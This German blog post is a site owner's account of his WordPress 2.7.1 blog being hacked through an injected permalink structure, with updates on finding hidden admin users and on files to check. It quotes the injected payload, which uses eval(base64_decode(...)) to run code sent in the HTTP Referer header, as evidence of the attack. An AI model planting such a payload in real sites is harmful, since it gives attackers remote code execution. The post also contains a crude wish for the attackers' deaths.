Media Addicted wurde gehacked
Traurig aber wahr: es hat den Anschein, dass mein kleines Blog am Mittwoch um 2:16 Uhr morgens Opfer einer Attacke wurde. Es begann mit der Registrierung eines Benutzers namens „MikeWink“. Danach hatten alle Links im Blog ein Anhängsel in der Form
http://www.example.com/posttitle/
%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/
Der Browser reagiert für jeden Klick auf jeden beliebigen Link mit „Internal Server Error 500“. Man konnte im Blog also nicht mehr navigieren (jeder Link war wie oben beschrieben manipuliert), sondern nur noch die Startseite aufrufen. Bemerkt habe ich den Zustand Donnerstag nachmittag und direkt behoben, indem ich „einfach“ im Admin Panel die Permalink-Struktur wieder zurückgesetzt habe auf meinen Standard (dort war der o.g. Code einfach hinzugefügt worden, wie auch immer das geht.
Die Attacke nutzte wohl eine Schwäche in der WordPress-Version 2.7.1, die ich deswegen noch nicht geupdated hatte, weil von Problemen mit dem 2.8.x-Strang berichtet wurde. Lesenswerte Details finden sich beim Fiesen Admin.
MIttlerweile habe ich das Problem oberflächlich behoben, meint: neue Passwörter für Datenbank, FTP, Admin-Bereich. Allerdings scheint der Hack tiefer in die Datenbank zu reichen und hier -Asche auf mein Haupt- ist das letzte Backup von April diesen Jahres, weil still und unbemerkt das Backup-Plugin nach dem Update auf 2.7.1 aufgehört hat, wöchentlich Mail mit einem Backup im Anhang zu schicken. Und da diese Mails automatisch wegsortiert und als „gelesen“ marktiert werden… (Update: Lucky Bastard! Sie wurden von da an nur auf einen Ordner auf dem Server gespeichert, statt sie zu verschicken :D)
Es ist doch zum ko**** mit diesen scheiß Hackern bzw. hier eher SkriptKiddies, warum können die nicht einfach irgendwo hingehen und sterben?
Update – Was nicht hilft…
Interessant. Das hat in meinem Blog funktioniert, obwohl die Benutzerregistrierung schon vorher deaktiviert war…
Update 2 – Tracking it down + Gegenmaßnahmen
Nach allem, was so nach und nach durchsickert, haben mich ein paar Besonderheiten meines Blogs vor Schlimmerem bewahrt. Offensichtlich lädt die Attacke normalerweise ein Skript von chinesischen Servern nach. Dieses Skript läuft dann auf dem Server mit Root-Rechten und tut….das weiß man noch nicht ganz genau.
Bei mir ist das nicht der Fall. Warum? Zum einen haben meine WordPress-Tabellen ein anderes als das Standard-Präfix „wp_table„, das hat mich offenbar gerettet, weil es keine manuelle, sondern eine gescriptete Attacke war. Die Angreifer sind also so weit gekommen, zwei verborgene User anzulegen – und sind dann ein wirklich einfachen Dingen gescheitert.
Also: checkt die Anzahl eurer User im Blog (Menüpunkt „Benutzer“ und dann oben links die Gesamtzahl und die Anzahl der Admins (!) ansehen und dann die User manuell durchzählen. Wenn die Anzahl der User / Admins größer ist als die Anzahl der tatsächlich gelisteten, dann habt ihr einen oder mehrere „hidden user“ in der Datenbank. Entfernen kann man die direkt in der Datenbank (Tabellen „wp_users“ und „wp_usermeta„) mit PHPmyAdmin. Dazu einfach diejenigen User in der wp_users löschen, die nicht im Admin-Panel in WP auftauchen (vorher die IDs merken!). Danach in der wp_usermeta alle Einträge mit den IDs löschen, die mit denen der (gelöschten) User-Einträge aus der wp_users identisch sind.
Zudem scheint es kein Datenbank-Hack zu sein, denn dann wäre es nach dem Entfernen der „hidden user“ wieder aufgetreten, weil es ja bereits in der Datenbank inhärent wäre, trotz Update der Software.
Checkt folgende Dateien auf eurem Server, bei einigen WP-Nutzern waren dort Codefragmente zu finden, die nicht dahin gehören:
- wp-config-php
- header.php (im Ordner wp-content/themes/[deintheme]/
- .htaccess
- index.php (sowohl im WP-Root-Ordner, also auch im o.g. Theme-Ordner)